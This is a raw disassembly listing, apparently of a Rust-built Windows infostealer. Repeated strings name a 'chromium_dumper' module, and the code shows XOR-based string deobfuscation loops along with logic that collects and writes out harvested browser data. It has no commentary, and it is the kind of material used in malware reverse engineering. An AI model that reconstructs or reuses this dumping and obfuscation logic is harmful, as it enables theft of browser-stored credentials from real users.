mov ecx, 4
xor edx, edx
jmp 0x1401234c8
mov al, byte [rax + 4]
xor al, 0x13
mov ecx, dword [rsp + 0x30]
mov byte [rsp + 0x52c], al
mov dword [rsp + 0x528], ecx
lea rax, [rsp + 0x528]
mov qword [rsp + 0x550], rax
mov qword [rsp + 0x558], 5
lea rax, [0x14043dca2]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x6773b475d6d2777e
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call fcn.14013e247
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dl, 1
xor edi, edi
test dl, 1
je 0x140123635
movzx r8d, byte [rdi + r12]
mov rdx, rdi
or rdx, 1
movzx edx, byte [rdx + r12]
mov r9, rdi
or r9, 2
movzx r9d, byte [r9 + r12]
mov r10, rdi
or r10, 3
movzx r10d, byte [r10 + r12]
mov r11, rdi
or r11, 4
movzx r11d, byte [r11 + r12]
mov rbx, rdi
or rbx, 5
movzx ebx, byte [rbx + r12]
mov r15, rdi
or r15, 6
mov rcx, rdi
or rcx, 7
movzx r15d, byte [r15 + r12]
movzx ecx, byte [rcx + r12]
shl rcx, 0x38
shl r15, 0x30
or r15, rcx
shl rbx, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rbx
or rdx, r15
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
mov edi, 8
xor edx, edx
jmp 0x14012358d
mov ecx, 8
cmp rcx, 0xb
ja 0x140123664
movzx edx, byte [rcx + r12 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r12]
add edx, r8d
add edx, 0xd3000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], edx
add rcx, 4
jmp 0x14012363a
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x4e0], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x4d8], rax
lea rax, [rsp + 0x4d8]
mov qword [rsp + 0x530], rax
mov qword [rsp + 0x538], 0xc
lea rax, [0x14043fbb8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x70c1b2ab208ccbb2
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call fcn.14013f096
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dl, 1
xor esi, esi
test dl, 1
je 0x14012377e
movzx r8d, byte [rsi + r13]
mov rdx, rsi
or rdx, 1
movzx edx, byte [rdx + r13]
mov r9, rsi
or r9, 2
movzx r9d, byte [r9 + r13]
mov r10, rsi
or r10, 3
movzx r10d, byte [r10 + r13]
mov r11, rsi
or r11, 4
movzx r11d, byte [r11 + r13]
mov rdi, rsi
or rdi, 5
movzx ebx, byte [rdi + r13]
mov rdi, rsi
or rdi, 6
mov rcx, rsi
or rcx, 7
movzx r15d, byte [rdi + r13]
movzx ecx, byte [rcx + r13]
shl rcx, 0x38
shl r15, 0x30
or r15, rcx
shl rbx, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rbx
or rdx, r15
xor rdx, qword [rax + rsi]
mov qword [rsp + rsi + 0x30], rdx
mov esi, 8
xor edx, edx
jmp 0x1401236d6
mov ecx, 8
cmp rcx, 0xb
ja 0x1401237ad
movzx edx, byte [rcx + r13 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r13]
add edx, r8d
add edx, 0x6a000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], edx
add rcx, 4
jmp 0x140123783
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x4f8], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x4f0], rax
lea rax, [rsp + 0x4f0]
mov qword [rsp + 0x560], rax
mov qword [rsp + 0x568], 0xc
lea rax, [0x14043b676]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x9d6f8c8ad7503b40
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call fcn.14013efc5
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x1401238c4
movzx r8d, byte [rcx + rbp]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + rbp]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + rbp]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + rbp]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + rbp]
mov rsi, rcx
or rsi, 5
movzx ebx, byte [rsi + rbp]
mov rsi, rcx
or rsi, 7
mov rdi, rcx
or rdi, 6
movzx r15d, byte [rdi + rbp]
movzx esi, byte [rsi + rbp]
shl rsi, 0x38
shl r15, 0x30
or r15, rsi
shl rbx, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rbx
or rdx, r15
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x14012381f
mov ecx, 8
cmp rcx, 0xb
ja 0x1401238f2
movzx edx, byte [rcx + rbp + 2]
shl edx, 0x10
movzx r8d, word [rcx + rbp]
add edx, r8d
add edx, 0xc9000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], edx
add rcx, 4
jmp 0x1401238c9
movzx ecx, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
xor eax, 0xe336
mov word [rsp + 0x3c], ax
xor cl, 0x71
mov byte [rsp + 0x3e], cl
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x540], rax
mov rax, qword [rsp + 0x37]
mov qword [rsp + 0x547], rax
lea rax, [rsp + 0x540]
mov qword [rsp + 0x500], rax
mov qword [rsp + 0x508], 0xf
lea rax, [0x14044787b]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0xb0af6eb93556b6b6
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call fcn.14013f3b2
movaps xmmword [rsp + 0x30], xmm6
xor ecx, ecx
lea r8, [0x1404479a4]
cmp rcx, 0xf
ja 0x140123997
mov rdx, qword [rcx + r8]
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
add rcx, 8
jmp 0x14012397e
movzx ecx, byte [rax + 0x12]
movzx eax, word [rax + 0x10]
xor eax, 0x251c
mov word [rsp + 0x40], ax
xor cl, 0x53
mov byte [rsp + 0x42], cl
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x4a0], xmm0
mov eax, dword [rsp + 0x3f]
mov dword [rsp + 0x4af], eax
lea rax, [rsp + 0x4a0]
mov qword [rsp + 0x4b8], rax
mov qword [rsp + 0x4c0], 0x13
lea rax, [rsp + 0x550]
mov qword [rsp + 0x30], rax
lea rdx, [0x140076e7c]
mov qword [rsp + 0x38], rdx
lea rdi, [rsp + 0x110]
mov qword [rsp + 0x40], rdi
lea rcx, [0x140007e8f]
mov qword [rsp + 0x48], rcx
lea rax, [rsp + 0x530]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdx
lea rax, [rsp + 0x128]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rcx
lea rax, [rsp + 0x560]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rdx
lea rax, [rsp + 0x140]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rcx
lea rax, [rsp + 0x500]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rdx
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rcx
lea rax, [rsp + 0x4b8]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rdx
mov qword [rsp + 0x20], 9
mov r8d, 9
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
lea rdx, [0x140446a48]
lea r9, [rsp + 0x30]
call fcn.140004cc3
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.14012d661
mov rbx, qword [rsp + 0x1a0]
mov r15, qword [rsp + 0x1a8]
mov r8, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x340]
mov rdx, rbx
call fcn.14027a491
mov rcx, rbx
mov rdx, r15
call fcn.14015e77d
mov rcx, rdi
call fcn.1400064e8
mov rax, r14
lea rsi, [0x140447978]
mov rdx, qword [rsp + 0x28]
jmp 0x1401233fd
mov rdx, r14
mov qword [rsp + 0x3f0], rdx
lea rcx, [rsp + 0x3e0]
call fcn.14012fc7f
lea rax, [rsp + 0x40]
and word [rax + 0x14], 0
and dword [rax + 0x10], 0
and dword [rsp + 0x30], 0
movups xmmword [rax - 8], xmm6
mov qword [rsp + 0x48], 7
mov word [rsp + 0x51], 0x101
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x110]
call fcn.14013bd40
mov rdi, rdx
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f051
mov rbx, qword [rsp + 0x340]
mov r8, qword [rsp + 0x350]
mov rcx, rdi
mov rdx, rbx
call fcn.14028d8a3
mov rcx, rax
lea rdx, str.src_chromium_dumper.rs
call fcn.14012d719
mov rcx, rdi
call sub.kernel32.dll_CloseHandle
mov rdx, qword [rsp + 0x348]
mov rcx, rbx
call fcn.14015e77d
mov rdx, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x190]
call fcn.14015e77d
mov rsi, qword [rsp + 0x3c8]
test rsi, rsi
je 0x140124199
add qword [0x140545060], rsi
mov r15d, 1
mov qword [rsp + 0x1a0], r15
lea rax, [rsp + 0x1a8]
movups xmmword [rax], xmm6
mov rdi, qword [rsp + 0x3b8]
imul rbx, rsi, 0x70
add rbx, rdi
mov rcx, rsi
call fcn.14022aec6
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
and qword [rsp + 0x120], 0
lea r14, [rsp + 0x110]
mov rcx, r14
mov rdx, rsi
call fcn.14022af29
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x120]
lea rdx, [rsp + 0x120]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov rcx, rdi
mov rdx, rbx
lea rdi, [rsp + 0x30]
mov r8, rdi
call fcn.140001766
mov r8, qword [rsp + 0x120]
mov qword [rsp + 0x40], r8
movdqu xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x30], xmm0
mov rdx, qword [rsp + 0x30]
mov qword [rsp + 0x20], r15
mov rcx, r14
lea r9, str._nValue__cannot_be_turned_into_a_CIMTYPE
call fcn.14022aff6
mov rsi, qword [rsp + 0x110]
mov r8, qword [rsp + 0x120]
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.14027a491
mov rdx, qword [rsp + 0x118]
mov rcx, rsi
call fcn.14015e77d
mov rcx, rdi
call fcn.140171bf7
mov rax, qword [rsp + 0x278]
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x3e0]
call fcn.14004b6a0
mov rdx, qword [rsp + 0x3e0]
mov r8, qword [rsp + 0x3f0]
lea rcx, [rsp + 0x2c0]
mov qword [rsp + 0x28], rdx
call fcn.14004b6a0
lea rax, [0x140443e95]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xccbd86559d5d4c75
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013e626
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x140123e5e
lea r15, [0x1404478c0]
movzx r8d, byte [rcx + r15]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r15]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r15]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r15]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r15]
mov rdi, rcx
or rdi, 5
movzx edi, byte [rdi + r15]
mov rbx, rcx
or rbx, 6
mov r14, rcx
or r14, 7
movzx ebx, byte [rbx + r15]
movzx r14d, byte [r14 + r15]
shl r14, 0x38
shl rbx, 0x30
or rbx, r14
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, rbx
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x140123daf
mov al, byte [rax + 8]
xor al, 0xa4
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x500], rcx
mov byte [rsp + 0x508], al
lea rax, [rsp + 0x500]
mov qword [rsp + 0x4a0], rax
mov qword [rsp + 0x4a8], 9
lea rax, [0x1404480ea]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x80951a5833a3b172
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call fcn.140140a70
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dl, 1
xor r15d, r15d
lea rcx, [rsp + 0x1e0]
test dl, 1
je 0x140123f87
lea rsi, [0x1404478c9]
movzx r8d, byte [r15 + rsi]
mov rdx, r15
or rdx, 1
movzx edx, byte [rdx + rsi]
mov r9, r15
or r9, 2
movzx r9d, byte [r9 + rsi]
mov r10, r15
or r10, 3
movzx r10d, byte [r10 + rsi]
mov r11, r15
or r11, 4
movzx r11d, byte [r11 + rsi]
mov rdi, r15
or rdi, 5
movzx edi, byte [rdi + rsi]
mov rbx, r15
or rbx, 6
mov r14, r15
or r14, 7
movzx ebx, byte [rbx + rsi]
movzx r14d, byte [r14 + rsi]
shl r14, 0x38
shl rbx, 0x30
or rbx, r14
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, rbx
xor rdx, qword [rax + r15]
mov qword [rsp + r15 + 0x30], rdx
mov r15d, 8
xor edx, edx
jmp 0x140123eda
mov r9d, 8
cmp r9, 0xb
ja 0x140123fba
lea r8, [0x1404478c9]
movzx edx, byte [r9 + r8 + 2]
shl edx, 0x10
movzx r8d, word [r9 + r8]
or r8d, edx
xor r8d, dword [rax + r9]
mov dword [rsp + r9 + 0x30], r8d
add r9, 4
jmp 0x140123f8d
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x4c0], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x4b8], rax
lea rax, [rsp + 0x4b8]
mov qword [rsp + 0x458], rax
mov qword [rsp + 0x460], 0xc
mov rdx, qword [rsp + 0x1d0]
mov r8, qword [rsp + 0x270]
call fcn.14004b6a0
mov rdi, qword [rsp + 0x1e0]
mov r8, qword [rsp + 0x1f0]
lea r14, [rsp + 0x30]
mov rcx, r14
mov rdx, rdi
call fcn.14012ef67
mov rcx, r14
call fcn.14012ef9c
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], rdx
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x30], rax
lea rcx, [0x140007e8f]
mov qword [rsp + 0x38], rcx
lea rax, [rsp + 0x4a0]
mov qword [rsp + 0x40], rax
lea rdx, [0x140076e7c]
mov qword [rsp + 0x48], rdx
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rcx
lea rax, [rsp + 0x340]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rdx
lea rax, [rsp + 0x458]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x20], 6
mov r8d, 6
lea rbx, [rsp + 0x110]
mov rcx, rbx
lea rdx, [0x140446930]
mov r9, r14
call fcn.140004cc3
lea rsi, [rsp + 0x5f8]
mov rcx, rsi
mov rdx, rbx
call fcn.14012d661
mov rdx, qword [rsp + 0x1e8]
mov rcx, rdi
call fcn.14015e77d
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.14015e77d
mov rcx, rsi
call fcn.14013bee6
mov rdi, rdx
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f051
mov rbx, qword [rsp + 0x1a0]
mov r8, qword [rsp + 0x1b0]
mov rcx, rdi
mov rdx, rbx
call fcn.14028d8a3
mov rcx, rax
lea rdx, str.src_chromium_dumper.rs
call fcn.14012d719
mov rcx, rdi
call sub.kernel32.dll_CloseHandle
mov rdx, qword [rsp + 0x3e8]
mov rcx, qword [rsp + 0x28]
call fcn.14015e77d
mov rdx, qword [rsp + 0x1a8]
mov rcx, rbx
call fcn.14015e77d
mov rsi, qword [rsp + 0x490]
test rsi, rsi
lea r15, [rsp + 0x1e0]
je 0x1401246bb
add qword [0x140545068], rsi
mov rdi, qword [rsp + 0x480]
mov rbx, rsi
shl rbx, 6
add rbx, rdi
mov rcx, rsi
call fcn.14022aec6
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
and qword [rsp + 0x120], 0
lea r14, [rsp + 0x110]
mov rcx, r14
mov rdx, rsi
call fcn.14022af29
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x120]
lea rdx, [rsp + 0x120]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov rcx, rdi
mov rdx, rbx
mov rsi, r15
lea r15, [rsp + 0x30]
mov r8, r15
call fcn.140001545
mov r8, qword [rsp + 0x120]
mov qword [rsp + 0x40], r8
movdqu xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x30], xmm0
mov rdx, qword [rsp + 0x30]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x340]
lea r9, str._nValue__cannot_be_turned_into_a_CIMTYPE
call fcn.14022aff6
mov rcx, r15
call fcn.140171bf7
mov rax, qword [rsp + 0x278]
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x3e0]
call fcn.14004b6a0
mov rcx, rsi
mov rdx, qword [rsp + 0x1d0]
mov r8, qword [rsp + 0x270]
call fcn.14004b6a0
mov rsi, qword [rsp + 0x1e0]
mov r8, qword [rsp + 0x1f0]
mov rcx, r15
mov rdx, rsi
call fcn.14012ef67
mov rcx, r15
call fcn.14012ef9c
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], rdx
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x110], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x120], rax
lea rax, [0x140076e7c]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x20], 2
mov r8d, 2
mov rcx, r15
lea rdx, [0x140446248]
mov r9, r14
call fcn.140004cc3
lea rbx, [rsp + 0x2c0]
mov rcx, rbx
mov rdx, r15
call fcn.14012d661
mov rdx, qword [rsp + 0x1e8]
mov rcx, rsi
call fcn.14015e77d
mov rsi, qword [rsp + 0x2c0]
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x28], rax
mov r8, qword [rsp + 0x2d0]
mov rcx, rbx
mov rdx, rsi
call fcn.14004ac70
lea rax, [0x1404471cd]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x30187dfe164d2096
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14014135e
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x140124483
lea rdi, [0x140447938]
movzx r8d, byte [rcx + rdi]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + rdi]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + rdi]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + rdi]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + rdi]
mov rbx, rcx
or rbx, 5
movzx ebx, byte [rbx + rdi]
mov r14, rcx
or r14, 6
mov r15, rcx
or r15, 7
movzx r14d, byte [r14 + rdi]
movzx r15d, byte [r15 + rdi]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rbx
or rdx, r14
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x1401243d6
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0x177a
mov word [rsp + 0x38], ax
xor cl, 0xf9
mov byte [rsp + 0x3a], cl
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x4a0], rax
mov eax, dword [rsp + 0x37]
mov dword [rsp + 0x4a7], eax
lea rax, [rsp + 0x4a0]
mov qword [rsp + 0x458], rax
mov qword [rsp + 0x460], 0xb
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0x110], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x458]
mov qword [rsp + 0x120], rcx
lea rcx, [0x140076e7c]
mov qword [rsp + 0x128], rcx
lea rcx, [rsp + 0x2c0]
mov qword [rsp + 0x130], rcx
mov ecx, 2
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x40], rcx
and qword [rsp + 0x50], 0
mov qword [rsp + 0x138], rax
mov r8d, 0x20
mov qword [rsp + 0x58], r8
mov dl, 3
mov byte [rsp + 0x60], dl
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x78], rcx
mov eax, 1
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], r8
mov byte [rsp + 0x98], dl
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], r8
mov byte [rsp + 0xd0], dl
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0xe8], rcx
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], r8
mov byte [rsp + 0x108], dl
lea rax, [0x1404467c8]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 5
lea rax, [rsp + 0x30]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], 4
lea rax, [rsp + 0x110]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 3
lea rbx, [rsp + 0x1a0]
mov rcx, rbx
lea rdx, [rsp + 0x1e0]
call fcn.14012d661
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.14015e77d
mov rcx, rsi
mov rdx, qword [rsp + 0x28]
call fcn.14015e77d
mov rcx, qword [rsp + 0x3e0]
mov rdx, qword [rsp + 0x3e8]
call fcn.14015e77d
mov rcx, rbx
call fcn.14013bee6
mov rsi, rdx
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f051
mov rdi, qword [rsp + 0x340]
mov r8, qword [rsp + 0x350]
mov rcx, rsi
mov rdx, rdi
call fcn.14028d8a3
mov rcx, rax
lea rdx, str.src_chromium_dumper.rs
call fcn.14012d719
mov rcx, rsi
call sub.kernel32.dll_CloseHandle
mov rdx, qword [rsp + 0x348]
mov rcx, rdi
call fcn.14015e77d
lea rcx, [rsp + 0x370]
call fcn.140119647
lea rcx, [rsp + 0x480]
call fcn.14011961d
lea rcx, [rsp + 0x3b8]
call fcn.1401195f3
lea rcx, [rsp + 0x390]
call fcn.1401195c9
mov rcx, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x2b8]
call fcn.14015e77d
jmp 0x1401217e7
mov rax, qword [rsp + 0x3d8]
mov byte [rax], 0x19
jmp 0x14012d003
movups xmm0, xmmword [rsp + 0x31]
movdqu xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
movdqu xmmword [rsp + 0x11f], xmm1
movaps xmmword [rsp + 0x110], xmm0
mov rcx, qword [rsp + 0x3d8]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmm0, xmmword [rsp + 0x11f]
movups xmmword [rcx + 0x10], xmm0
movdqa xmm0, xmmword [rsp + 0x110]
movdqu xmmword [rcx + 1], xmm0
mov byte [rcx], al
jmp 0x14012cff8
lea rcx, [rsp + 0x288]
call fcn.140118055
jmp 0x1401247b6
lea rcx, [rsp + 0x288]
call fcn.140118055
mov rcx, qword [rsp + 0x390]
mov rdx, qword [rsp + 0x398]
call fcn.14015e77d
mov rcx, qword [rsp + 0x520]
mov rdx, qword [rsp + 0x518]
call fcn.14015e77d
lea rsi, [rsp + 0x30]
mov rcx, rsi
call fcn.1400ebe89
mov rcx, rsi
call fcn.14012e4a4
lea rcx, [0x1404c3b70]
mov qword [rsp + 0x288], rcx
and qword [rsp + 0x2a0], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x290], xmm0
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], rdx
lea rax, [0x140445c51]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x9d65c1fe5032360c
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013ff26
and dword [rsi + 8], 0
and qword [rsi], 0
mov r8b, 1
xor edx, edx
lea rcx, [0x140446b17]
test r8b, 1
je 0x1401248de
movzx r9d, byte [rdx + rcx]
mov r8, rdx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rdx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rdx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rdi, rdx
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, rdx
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r14, rdx
or r14, 6
mov r15, rdx
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rdi
or r8, rbx
or r8, r14
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0x30], r8
mov edx, 8
xor r8d, r8d
jmp 0x140124836
mov edx, 8
cmp rdx, 0xb
ja 0x140124911
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x4c000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x1401248e3
mov al, byte [rax + 0xc]
xor al, 0x3f
mov byte [rsp + 0x3c], al
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x35]
mov qword [rsp + 0x2c5], rax
xor edi, edi
mov ecx, 0xd
xor edx, edx
call fcn.1401674a3
mov rcx, qword [rsp + 0x2c0]
mov r8, qword [rsp + 0x2c5]
mov qword [rax], rcx
mov qword [rax + 5], r8
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 0xd
lea rax, [0x140443ddd]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x37c9e8ca83af68a0
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013e35e
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140446b24]
cmp rdi, 0x1f
ja 0x1401249cf
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x1401249b6
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043f022]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x69c457a80b590a13
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013e452
pxor xmm0, xmm0
movdqa xmmword [rsi], xmm0
lea rcx, [0x140446b44]
cmp rbx, 0xf
ja 0x140124a7a
mov rdx, qword [rbx + rcx]
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
add rbx, 8
jmp 0x140124a61
mov al, byte [rax + 0x10]
xor al, 0xf8
